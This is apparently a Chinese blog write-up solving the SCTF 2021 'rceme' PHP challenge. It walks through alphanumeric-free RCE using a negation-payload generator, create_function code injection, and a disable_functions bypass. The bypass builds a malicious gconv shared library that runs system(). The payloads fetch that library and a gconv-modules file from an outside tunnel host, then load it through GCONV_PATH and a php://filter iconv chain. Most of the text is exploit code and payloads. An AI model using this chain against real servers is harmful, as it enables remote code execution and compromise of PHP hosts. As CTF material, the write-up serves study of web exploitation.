[SCTF 2021]rceme


前置知识

可变参数绕过

PHP 在用户自定义函数中支持可变数量的参数列表。在 PHP 5.6 及以上的版本中,由 … 语法实现;在 PHP 5.5 及更早版本中,使用函数func_num_args(),func_get_arg(),和 func_get_args() 。

本地测试下,版本为7.3.4

<?php

function sum(...$a){
    $c = 0;
    foreach ($a as $n){
        $c = $c + $n;
    }
    return $c;
}

echo sum(1,12,13);

可以发现运行结果为26
在这里插入图片描述

create_function注入

create_function函数会在内部执行 eval函数

本地测试如下

<?php
$args='}system("whoami");//';
create_function('',$args);
?>

成功回显,当然这里可以结合可变参数,构造如下

$args=['','}system("whoami");//'];
create_function(...$args);

无字母数字RCE

这里用的是取反结合异或[!%FF]
脚本如下

# -*- coding: utf-8 -*
# /usr/bin/python3
# @Author:Firebasky
exp = ""
def urlbm(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:]
    return f"[~{ss}][!%FF]("
while True:
    fun = input("Firebasky>: ").strip(")").split("(")
    exp = ''
    for each in fun[:-1]:
        exp += urlbm(each)
        print(exp)
    exp += ")" * (len(fun) - 1) + ";"
    print(exp)

比如构造call_user_func(...unserialize(end(getallheaders())));

[~%9c%8d%9a%9e%8b%9a%a0%99%8a%91%9c%8b%96%90%91][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

动态链接库so绕过disable_functions

创建payload.c
把读取的flag写到./tmp/1

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/1'");
  exit(0);
}

从目标文件生成动态链接库

gcc payload.c -o payload.so -shared -fPIC

利用点
linux系统提供了一个环境变量:GCONV_PATH,该环境变量能够使glibc使用用户自定义的gconv-modules文件,因此,如果指定了GCONV_PATH的值,iconv_open函数的执行过程会如下:

  1. iconv_open函数依照GCONV_PATH找到gconv-modules文件。
  2. 根据gconv-modules文件的指示找到参数对应的.so文件。
  3. 调用.so文件中的gconv()和gonv_init()函数。

gconv-modules文件格式

module  自定义字符集名字(大写)//    INTERNAL    ../../../../../../../../tmp/自定义字符集名字(小写)    2
module  INTERNAL    自定义字符集名字(大写)//    ../../../../../../../../tmp/自定义字符集名字(小写)    2

所以本题对应的是

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

利用php原生类进行文件读取

SplFileObject是标准的文件操作类,用来进行文件读取

我们可以在服务器的根目录上启动服务,写入gconv-modulespayload.so文件,然后再利用原生类读取公网ip(也就是映射的服务器)的文件

a=$url="https://5i781963p2.yicp.fun:443/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url="https://5i781963p2.yicp.fun:443/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

再用伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

最后高光读取即可

解题过程

源码如下

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>

可以发现无字母数字RCE,同时是也是无参的,然后提示禁用的函数
这里我们可以fuzz测试下能用的

def find_missing_words(target_file_path, search_file_path):
    with open(target_file_path, 'r') as target_file:
        target_words = set(target_file.read().replace(',', '').split())

    with open(search_file_path, 'r') as search_file:
        search_words = set(search_file.read().replace(',', '').split())

    missing_words = target_words - search_words

    return missing_words

# 指定目标查找文件的路径
target_file_path = 'php函数字典.txt'

# 指定被查找文件的路径
search_file_path = 'search.txt'

# 调用函数查找未被找到的函数
missing_words = find_missing_words(target_file_path, search_file_path)

# 打印未被找到的单词
if missing_words:
    print("以下函数未被找到:")
    for word in missing_words:
        print(word)
else:
    print("所有函数都被找到了。")

其中search.txt即为提示的禁用函数
跑出来结果如下
在这里插入图片描述
那么我们可以构造call_user_func(...unserialize(end(getallheaders())));
exp如下

<?php
highlight_file(__FILE__);
$a=['','}eval($_POST["a"]);//'];
$str=serialize($a);
echo $str;

然后再利用前置知识给出的取反脚本,成功执行phpinfo()
在这里插入图片描述
然后就发现其他命令用不了,这时候就只能利用.so文件绕过
创建payload.so

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/1'");
  exit(0);
}

从目标文件生成动态链接库

gcc payload.c -o payload.so -shared -fPIC

然后再生成gconv-modules文件

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

然后在kali下的根目录下,开启服务器
(注意我公网映射的端口为8000)

python3 -m http.server 8000

把前面提到的两个文件mv到根目录下
在这里插入图片描述
然后利用原生类去分别读取两个文件

a=$url="https://5i781963p2.yicp.fun:443/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url="https://5i781963p2.yicp.fun:443/gconv-modules";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

注意回显为200才是成功
在这里插入图片描述然后就是伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

然后高光读取,得到flag
在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_rev1ve

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值